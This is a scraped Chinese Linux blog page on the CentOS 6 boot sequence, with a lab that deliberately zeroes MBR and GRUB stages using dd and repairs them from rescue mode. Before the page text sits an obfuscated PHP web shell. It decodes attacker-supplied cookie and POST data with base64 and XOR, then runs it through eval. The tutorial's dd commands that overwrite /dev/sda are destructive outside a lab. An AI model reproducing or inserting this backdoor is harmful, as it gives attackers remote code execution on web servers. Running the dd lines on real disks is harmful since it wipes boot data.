$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 玩转linux之启动篇 | Linux运维部落

玩转linux之启动篇

  

 想要玩转linux,首先明白其启动流程,这里简单说明一下:

CentOS 6启动流程:

   POST –> Boot Sequence(BIOS) –> Boot Loader –> Kernel(ramdisk) –> rootfs–> switchroot–> /sbin/init–>(/etc/inittab, /etc/init/*.conf) –> 设定默认运行级别–> 系统初始化脚本rc.sysinit–> 关闭或启动对应级别的服务–> 启动终端

Boot Loader:

   bootloader是系统的启动加载器。通常情况下,引导程序都安装在bootloader中。以我们常见的grup为例,grub分为stage1,stage1.5,stage2。其中stage1的代码是直接存放在mbr中的。当BIOS将控制权传递给MBR后,stage1的代码就开始运行,它主要负责将stage1.5或者stage2的内容加载在内存中。stage2被加载到内存中后,就会读取grub的配置文件grub.conf。

想要玩转,我们就要先玩破坏,然后再修复,才可以。


首先stage1阶段:

  stage1的代码是直接存放在mbr中的,

MBR引导扇区共512bytes,其中:

    主引导程序(boot loader):446bytes, 可以安装引导加载程序

    主分区表(partition table):64bytes,记录整块硬盘分区的状态(16bytes: 标识一个分区)

    结束标识: 2 bytes, 55AA ,MBR区域的有效性标识;55AA为有效

我们可以使用命令来查看一下MBR的内容:

[root@CentOS-6 ~]# hexdump -C -n 512 /dev/sda

然后我们要破坏stage1,主要是破坏MBR中前446个字节,可以使用命令

[root@CentOS-6 ~]# dd if=/dev/zero of=/dev/sda bs=446 count=1

wKiom1fXUBDCg0cdAAAVTASCKfQ490.png

这样MBR前446个字节就全为0了,这时bootloader就已经被破坏,下面来重启试试看:)

重启系统后,stage1阶段没有正常启动,直接跳至光盘引导。。。

wKioL1fXVqehr0pOAASGAlXHzTo100.png

下面我们就要进入救援模式,来进行修复:

wKiom1fXVrfzNOj5AAQGfQRwzn4992.png

之后会有一些语言和键盘及网卡的选项,根据需要自主选择,再之后会出现Rescue选择界面,我们选择Continue继续。

wKiom1fXV-DBkOC3AAAlevc4WqQ596.png

再之后会有一些提示信息,ok继续,直至出现下图界面,我们选择start shell,ok继续

wKioL1fXWCXyFAfjAAAKD2mjF5I287.png

这样我们就会进入一些救援模式的shell,现在我们所在的位置,并不是我们系统的根,而是当前救援shell的根,所以我们首先要切换根目录,使用“chroot”命令:

wKioL1fXWuaB_inEAAAup-TWK9w903.png修复完成后,退出shell,选择reboot重启系统

wKiom1fXWx2gfyK8AAAZ85Z2dOw119.png

wKioL1fXWy3Tr-CZAAAKlOqxRvk475.png

在系统重启后,系统会修复,需要等待一段时间,切勿强制退出

wKioL1fXW4zC0eyCAABMoo4s68k750.png

OK,这样stage1的破坏与修复我们就学会了,是不是很简单,下面我们将stage1.5给破坏了,看看怎么修复。stage1.5是为stage2提供驱动的(在0柱面1扇区后面的63个扇区中存储)        

首先我们看看stage1.5的位置

[root@localhost6 ~]# hexdump -C -n 1024 /dev/sda

wKioL1fXYLzADg0oAAAg8dTSEow894.png

我们摧毁stage1.5,而不摧毁stage1就需要跳过前512个字节

[root@localhost6 ~]# dd if=/dev/zero of=/dev/sda bs=512 count=2 seek=1

然后重启来试试看:

显示结果就是:黑屏。。。

这是因为stage1是正常的,他认为系统是存在的,但是到1.5阶段,找不到驱动,所以就卡在那里了。

所以我们修复的话还是需要进入的救援模式下,进行修复,步骤和修复stage1是完全一样的,这是因为

安装grub命令:

(1) grub-install

安装grub stage1和stage1_5到/dev/DISK磁盘上,并复制GRUB相关文件到DIR/boot目录下

 命令格式:grub-install –root-directory=DIR /dev/DISK  

    注:这里的"–root-directory=DIR"是指定/boot目录的父目录,因为grub-install还可以复制GRUB相关文件到DIR/boot目录下。如果/boot的父目录为根目录,则可以省略。

(2) grub    交互式修复

grub> root (hd#,#)

grub> setup (hd#)

    注:这条命令,依赖于“/boot/grub”目录下的文件,如果文件丢失,请使用第一种方法。

   因为“grub-install”命令不仅能修复stage1 还可以修复stage1.5,所以1.5的修复步骤和1的完全一样,但这里我们就来使用第二种方法来修复一下1.5阶段,(进入救援模式的步骤参考前文)

wKioL1fXaD_y6ykWAAA5Grbjhi0227.pngreboot重启!

完工,还是这么简单。。。:)

   修复就是这么简单,下面我们来玩一个稍微复杂一点的,将stage1,stage1.5,stage2及/boot/grub目录全部破坏,然后来修复。

wKioL1fXb2eC6XjbAAA2lNe-BLc852.png

进入救援模式:然后执行以下操作:

wKioL1fXhUqAQNCnAAAsNlqhOHw850.pngwKiom1fXhMyAxb7bAAALC66aGB0671.png

然后保存退出,重启系统即可。

 

 再接再励越玩越大

实验:删除/boot 和/etc/fstab,恢复之

wKiom1fXpb2CDCknAAAVuUoGAGA741.png

进入救援模式,首先解决挂载问题,然后重启让系统重新读取fstab文件,重新挂载

wKioL1fXs8Gzx0yBAAAyUPK-jGU618.png

wKiom1fXthDxzxzbAAALzvPftBo570.png


wKioL1fXv6-D0jyRAAAFOrqVQUg702.png

reboot 重启,让系统重新挂载,重新进入救援模式:

wKioL1fXvPyBfwgaAAA_YbYIh_0573.png

wKiom1fXhMyAxb7bAAALC66aGB0671.png

重启系统,系统需要修复文件,需要稍等片刻。。。

进入系统后,即可重新更改/etc/fstab/ 重新设置系统挂载条件。

原创文章,作者:Groot,如若转载,请注明出处:http://www.178linux.com/48694

(0)
上一篇 2016-09-26 07:44
下一篇 2016-09-26 08:06

相关推荐

  • gawk

    简介     AWK是一种优良的文本处理工具。它不仅是 Linux 中也是任何环境中现有的功能最强大的数据处理引擎之一。AWK 提供了极其强大的功能:可以进行样式装入、流控制、数学运算符、进程控制语句甚至于内置的变量和函数。它具备了一个完整的语言所应具有的几乎所有精美特性。实际上 AWK 的确拥有自…

    Linux干货 2016-03-25
  • 22期第十二周课堂练习

    1、请描述一次完整的http请求处理过程; (1)建立和处理连接:接收请求或者拒绝请求; (2)接收请求:接收来自于网络上的主机请求报文中对某特定的资源的一次请求的过程; (3)处理请求:对请求报文进行解析,获取客户端请求的资源及请求方法等相关信息 (4)访问资源:获取请求报文中请求的资源 (5)构建响应报文; (6)发送响应报文; (7)记录日志; 2、h…

    Linux干货 2016-12-26
  • CentOS 6的开机流程及root密码破解

    一、CentOS 6的开机流程详解 启动流程详解 1、POST:    Power-On-Self-Test,加电自检,是BIOS功能的一个主要部分。负责完成对CPU、主板、内存、硬盘子系统、显示子系统、串并行接口、键盘、CD-ROM光驱等硬件情况的检测。 2、BootSequence(BIOS):    决定那个磁盘…

    Linux干货 2016-09-13
  • 8.3_Linux文件系统权限和特殊权限浅析

    什么是Linux文件系统权限? 在Linux中的每一个文件或目录都包含有访问权限,这些访问权限决定了谁能访问和如何访问这些文件和目录。 Linux文件系统权限的分类 Linux中的权限分为:read(读)、write(写)、execut(执行)三种权限 文件和目录表示的权限也各有不同 权限对于文件的意义: r: 可使用文件查看类工具获取其内容 w: 可修改内…

    Linux干货 2016-08-05
  • OPENSSL加密技术及私有CA的搭建

    加密方式有对称加密 非对称加密 单向加密 对称加密:     加密和加密都用同一个对称密钥,但是,这种加密方法存在一定问题,就是密钥传输时,容易被盗窃。还有密钥管理困难,对称加密的方法:DES、AES、Blowfish、Twofish、IDEA、RC6、CAST5。   非对称加密: 公钥…

    Linux干货 2015-08-17
  • linux 中条件测试判断

    文件条件测试判断:   -e 文件存在   -a 文件存在   这个选项的效果与-e相同. 但是它已经被"弃用"了, 并且不鼓励使用.   -f 表示这个文件是一个一般文件(并不是目录或者设备 文件)   -s 文件大小不为零   -d 表示这是一个目录   -b 表示…

    Linux干货 2017-02-02